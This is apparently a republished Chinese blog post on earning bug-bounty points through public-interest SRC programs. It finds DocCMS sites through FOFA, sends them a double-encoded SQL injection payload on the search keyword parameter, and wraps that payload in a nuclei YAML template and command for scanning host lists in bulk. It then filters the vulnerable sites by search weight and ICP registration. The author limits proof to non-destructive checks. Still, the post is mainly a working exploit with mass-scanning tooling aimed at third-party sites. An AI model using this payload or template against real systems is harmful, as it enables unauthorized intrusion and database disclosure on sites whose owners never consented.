实战|记一次公益SRC上分思路
2023-5-19 09:9:51 Author: 编码安全研究(查看原文) 阅读量:47 收藏

0x01 提前准备工作

这里暂时排除使用GooleHack的语法,而是使用测绘站搜索CMS,缩小范围提高准确率。

需要使用到以下工具和文库

  • 佩奇文库: http://wiki.peiqi.tech/

  • fofa: https://fofa.info/

  • fofa_viewer: https://github.com/wgpsec/fofa_viewer

  • nuclei: https://github.com/projectdiscovery/nuclei

  • 批量查询权重: http://seo.iis7.com/

  • 批量备案查询: http://www.jucha.com/beian/

0x02 使用POC测试单个站点

1. 寻找可利用POC

使用佩奇文库:http://wiki.peiqi.tech/wiki/cms/ 文库内部分漏洞存在可用POC,可提供我们测试学习,感谢大佬。

主要针对 CMS 框架漏洞,框架漏洞有着清晰的指纹标识,方便批量寻找到目标。

2. 使用空间测绘站寻找资产

并不是所有漏洞都有现成的POC,又因为CMS对应的资产并不少,要找到一个可以利用的POC不一定是一件简单的事情。推荐找 可以通过GET传参得到返回结果的SQL注入 ,毕竟点进URL只要粘贴就可以验证是否存在漏洞。

在文库内找到网络测绘搜索语句,使用 fofa、shodan、360quake 等测绘引擎搜索相关资产。

3. 试相关资产漏洞是否存在

带有破坏型的漏洞不推荐测试,仅测试回显结果可以证明存在漏洞的POC。注入只需要爆出数据库、任意文件上传只需要上传phpinfo而不是传个shell,目前我是这么理解。

这里选择的是一个普通的 SQL 注入,构建poc如下

http:example.com/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33

当页面发挥结果中包含 数据库用户名称、数据库地址则代表存在漏洞,至此为止。以下为图片说明

0x03 批量对站点进行检测

1. 将收集结果URL保存至本地

可以通过测绘站接口,或是工具简单的实现,如 fofa_viewer

将HOST字段保存至本地txt文件,此时你就得到了一个可能存在漏洞的站点列表。

2. 编写POC或使用工具批量检测

这里稍微的犹豫了一下,要是用python requests写,那我要用到其他POC的时候,岂不是改起来很麻烦,之前了解过 https://github.com/projectdiscovery/nuclei/blob/master/README_CN.md 或许可以通过这个实现?

研究了一下,需要达成需求:向https://example.com/search/index.php发送指定 GET 请求,返回响应包内包含 ORDER BY id DESC字段的 URL,GET请求参数如下

keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33

很简单,参考官方文档 https://nuclei.projectdiscovery.io/templating-guide/protocols/http/"基础的HTTP请求" 编写一个 yaml 配置文件

# 必要字段 IDid: DocCMS-keyword-SQLi# 必要字段INFOinfo:    name: DocCMS-keyword-SQLi    author: kylin    tags: sqli,DocCMS    reference: http://wiki.peiqi.tech/wiki/cms/DocCMS/DocCMS%20keyword%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html    severity: high# HTTP请求数据包requests:  # 原始数据包(RAW)内容  - raw:    - |      GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33/ HTTP1.1      Host: {{Hostname}}    # 匹配字符串包含 ORDER BY id DESC    matchers:      - type: word        words:          - "ORDER BY id DESC"

再看一下官方文档 https://github.com/projectdiscovery/nuclei/blob/master/README_CN.md使用参数调用模板文件获取扫描结果

# 1.调用 DocCMS-keyword-SQLi.yaml 模板,扫描 urls.txt 文件# 2.将结果保存至 result_DocCMS-keyword-SQLi.txt# 3.简化输出结果 重试次数10 超时时间30snuclei -l urls.txt -t DocCMS-keyword-SQLi.yaml -o result_DocCMS-keyword-SQLi.txt -nm -retries 10 -timeout 30

然后哇的一下,扫描结果就全出来了

使用 nuclei 编写 yaml 对批量检测漏洞有很大的帮助,不过根据官方的定义 nuclei 还可以用作渗透测试的工作流,这里留个个小小的坑

0x04 快速定位资产提交报告

1. 正则筛选根域名

因为扫描结果的URL并不是网站根域名,先简单针对扫描结果用正则匹配一下根域。)

# awk 正则定位根域名awk -F 'search' '{print $1}' result_DocCMS-keyword-SQLi.txt > domain_DocCMS-keyword-SQLi.txt

2. 批量查询站点权重

批量查询权重:http://seo.iis7.com/

确认提交的平台, 漏洞盒子提交无限制, 补天需要百度权重>=1或Google权重>=3

针对爱站PC、爱站PE、GooglePR筛选查询结果

3. 批量查询备案信息

提交漏洞报告时,需要对公司名称以及公司定位做选择,这里有三个选择

  • 批量备案查询 免费额度用完了需要付费,免费额度500条

http://www.jucha.com/beian/
  • 站长ICP备案查询 不能批量查询,单个提交报告时也够用

https://icp.chinaz.com/

对于 批量查询站点权重批量查询备案信息 本来都是有想法写个脚本来实现的,奈何这些0权站点实在不能给人带来动力.

提交漏洞的事情就交给另一个小倒霉蛋吧。

补充阅读:

补天SRC小白提交漏洞入门详细介绍:

https://blog.csdn.net/qq_37113223/article/details/1119164
作者:kylin

文章来源:https://kylin.moe/posts/80e25f51ea34/

如有侵权,请联系删除

注:如有侵权请联系删除

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧。

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247503215&idx=1&sn=57850c194ca8086019d726120a2b801a&chksm=ce649e0af913171cf9d7b594d3290fc7ac653f3015d2d43bc36160b0f0d53c822f7657ef1216#rd
如有侵权请联系:admin#unsafe.sh